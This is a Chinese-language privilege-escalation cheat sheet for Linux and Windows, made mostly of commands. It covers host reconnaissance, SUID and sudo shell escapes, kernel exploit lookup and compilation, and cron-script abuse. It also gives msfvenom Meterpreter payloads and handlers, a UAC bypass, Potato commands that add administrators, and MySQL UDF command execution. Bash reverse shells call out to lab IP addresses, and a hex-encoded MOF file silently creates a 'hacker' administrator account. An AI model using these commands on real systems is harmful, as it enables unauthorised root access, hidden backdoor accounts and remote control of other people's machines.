linux/Windows提权(方法以及命令记录/未复现)

linux/Windows提权(方法以及命令记录/未复现)

1、Linux提权

1.1 基础信息收集

1.1.2 服务器信息收集

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1、查看内核、操作系统、设备等信息
uname -a    打印所有可用的系统信息
uname -r    内核版本
uname -n    系统主机名。
uname -m    查看系统内核架构（64位/32位）
hostname    系统主机名
cat /proc/version    内核信息
cat /etc/*-release   分发信息
cat /etc/issue       分发信息
cat /proc/cpuinfo    CPU信息

whoami              查看当前用户
w                   谁目前已登录，他们正在做什么
last                最后登录用户的列表
lastlog             所有用户上次登录的信息
lastlog –u %username%  有关指定用户上次登录的信息
lastlog |grep -v "Never"  以前登录用户的完

查看用户和组、系统进程、计划任务、是否存在明文保存的密码等信息。
cat /etc/passwd     列出系统上的所有用户
cat /etc/group      列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户

ps -ef | more   #查看当前进程
ps -ef | grep root  #查看以root权限运行的进程

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*

grep -i user [filename]   //在文件中搜说user字段
grep -i pass [filename]   //在文件中搜索pass字段
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"    //搜索以php结尾的文件中的pass内容

自动化信息收集脚本
LinEnum ==> bash脚本
Github地址：https://github.com/rebootuser/LinEnum.git
chomd 777 LinEnum.sh
./LinEnum.sh > 1.txt

Linuxprivchecker ==> python脚本
Github地址：https://github.com/sleventyeleven/linuxprivchecker.git
chmod 777 linuxprivchecker.py
python linuxprivchecker.py > 1.txt

1.2 SUID提权

为了设置漏洞环境，可将chmod u+s ，将一些程序手动设置成为suid

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/usr/bin

chmod u+s filename ==> 添加SUID
chmod 755 filename ==> 移除SUID
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root@ubuntu:/home/hqhq# ls -al /usr/bin | grep vim
-rwxr-xr-x  1 root root     884360 Jan  2  2014 vim.tiny
root@ubuntu:/home/hqhq# chmod u+s /usr/bin/vim.tiny

查看SUID程序

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find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

SUID提权

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nmap   //低版本还需测试
echo "os.execute('/bin/sh')" > /tmp/shell.nse && nmap --script=/tmp/shell.nse

find
touch testtest
find testtest -exec whoami \;

vim.tiny    //低版本还需测试
打开vim.tiny,按下ESC
:set shell=/bin/sh
:shell

bash ==> /bin/bash
bash -p

sh

1.3 内核漏洞提权

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利用获取到的内核信息可通过以下方式搜索相关利用程序。
1、site:exploit-db.com 3.10.0-327.el7.x86_64    //centos系统
2、searchsploit privilege | grep -i linux | grep -i kernel | grep 3.10
searchsploit位置：/usr/share/exploitdb/exploits
根据已有的漏洞编译执行即可。

公开的内核漏洞：https://github.com/SecWiki/linux-kernel-exploits
linux-exploit-suggester.sh ==> 该脚本可自动搜集系统内部漏洞

gcc 40616.c -o 40616 -pthread    //centos利用成功
./40616


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还需添加一个Ubuntu的提权

1.4 sudo

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sudo vim.tiny -c'!sh'

sudo more 123
!/bin/bash


echo "os.execute('/bin/sh')" > /tmp/shell2.nse && sudo nmap --script=/tmp/shell2.nse


sudo man man
!/bin/bash


sudo vi
:!bash


sudo git help status 
!/bin/bash

1.5 计划任务提权

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计划任务存放位置：/var/spool/cron/etc/crontab/etc/cron.d环境变量提权cat /etc/crontabbash -i >& /dev/tcp/192.168.229.129/9898 0>&1Crontab文件重写提权1、创建垃圾文件echo “testtesttest1” > 1.txtecho “testtesttest2” > 2.txt2、编写删除垃圾文件脚本#!/usr/bin/env pythonimport osimport systry:    os.system('rm -r /home/kali/testaaa/*')except:    sys.exit()3、计划任务中执行定时删除脚本vim /etc/crontab*/1 * * * *	   root   python /tmp/clear.py4、修改批量执行脚本#!/usr/bin/env pythonimport osimport systry:    os.system('chmod u+s /usr/bin/find')except:    sys.exit()

2、Windows提权

2.1 基础信息收集

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systeminfo    查询系统信息systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本“    查看systeminfo中特定的信息Hostname     主机名Set    环境变量Net user   查看用户信息Tasklist /svc   查询服务的pid号wmic os get caption    查看系统名wmic qfe get Description,HotFixID,InstalledOn    查看补丁信息wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094“wmic product get name,version     查看当前安装程序whoami /priv	当前帐户权限 	ipconfig /displaydns	显示DNS缓存		route print	打印出路由表net user UserName	关于用户的信息net localgroup GROUP	关于指定组的信息netsh firewall show config	显示防火墙配置net start	列出启动的服务sc query	列出所有服务sc qc ServiceName	找到指定服务的路径icacls “C:\Example”	列出文件权限

2.2 内核漏洞提权

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通过以下两条命令可快速查看本地系统补丁：systeminfo | findstr “KB”wmic qfe get Caption,Description,HotFixID,InstalledOn

2.2.1 寻找exp

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windows-kernel-exploits项目中有一个python脚本将可以将systeminfo中的信息和微软的安全公告数据对比找出合适的exp。Github地址：https://github.com/SecWiki/windows-kernel-exploits/blob/master/win-exp-suggester/windows-exploit-suggester.pypython2脚本使用方式：通过pip安装xlrd模块，建议安装1.2.0版本，高版本不支持打开xlsx文件。python2的pip2.exe安装。当前目录下还需要systeminfo.txtpip2 install xlrd==1.2.0windows-exploit-suggester.py –update   (python2)windows-exploit-suggester.py -d 2021-05-24-mssb.xls --systeminfo systeminfo.txt利用cmd指令将systeminfo中的补丁和公开的补丁做对比。systeminfo>systeminfo.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type systeminfo.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a systeminfo.txt

2.2.2 ms14-058

exp

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C:\Users\hqhq\Desktop\tq\MS14-058\CVE-2014-4113-Exploit>Win64.exe whoamint authority\system

msf

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生成exemsfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.229.129 lport=7777 -f exe > /home/kali/Desktop/tccc/ms14058.exe监听上线msf6 exploit(windows/local/ms14_058_track_popup_menu) > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 192.168.229.129msf6 exploit(multi/handler) > set lport 7777msf6 exploit(multi/handler) > run上线后隐藏后台，并获取sessionbackgroundsessions –l利用ms14-058提权use exploit/windows/local/ms14_058_track_popup_menushow options

2.2.3 bupass UAC

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msf6 > search bypassuacmsfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 lhost=192.168.229.129 lport=9865 -f exe > /home/kali/Desktop/tccc/lyshark.exemsf > use exploit/multi/handlermsf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpset lhost 192.168.229.129set lport 9865exploitbackgroundsessions –l使用exploit/windows/local/bypassuac模块绕过uac为window提权。msf >  use exploit/windows/local/bypassuacmsf exploit(bypassuac) > set session 1msf exploit(bypassuac) > exploit

2.2.4 Potato

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Potato.exe -ip <local_ip> -cmd <command_to_run> -disable_exhaust truePotato.exe -ip 192.168.241.133 -disable_exhaust true -cmd "C:\\Windows\\System32\\cmd.exe /C net localgroup administrators test1 /add" Potato.exe -ip 192.168.229.144 -disable_exhaust true -cmd "C:\\Windows\\System32\\cmd.exe /C net localgroup administrators test /add"
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SELECT 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INTO DUMPFILE 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
1
C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll
1
select hex(load_file('C:\lib_mysqludf_sys.dll')) into outfile "C:\udf32.hex";show global variables like '%secure_file_priv%';create function sys_eval returns string soname 'udf.dll';create function sys_eval returns string soname 'lib_mysqludf_sys_64.dll';select sys_eval("whoami");

Linux mysql udf提权

1
1、linux中mysql默认是以mysql用户运行，相对比较安全（为了完成实验，将mysql用户修改为root用户）/etc/mysql/my.cnf,修改第四行的user=root,bind-address=0.0.0.02、2.ssh远程连接Centos，安装服务：yum -y install httpd php mysql-server php-mysql3、关闭防火墙service iptaables stop，关闭selinux：setenforce 04、开启服务:service httpd start与  service mysqld start5、查看数据库版本：select version();  为5.1.736、获取路径：show variables like '%plugin%'  为 /usr/lib64/mysql/plugin/usr/lib/mysql/plugin/7、检查有无上传文件权限：show global variables like '%secure_file_priv%';8、上传UDF：select unhex('十六进制')into dumpfile "/usr/lib64/mysql/plugin/udf.so";9、创造函数：create function sys_eval returns string soname 'udf.so'10、执行系统命令：SELECT sys_eval("id")
1
create function sys_eval returns string soname 'udf.dll';select * from mysql.func where name = 'sys_eval';select sys_eval('ping www.baidu.com');drop function cmdshell;// 将函数删除SELECT * FROM mysql.func; //查询当前函数
1
select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
1
bash -i >& /dev/tcp/192.168.241.141/7896 0>&1
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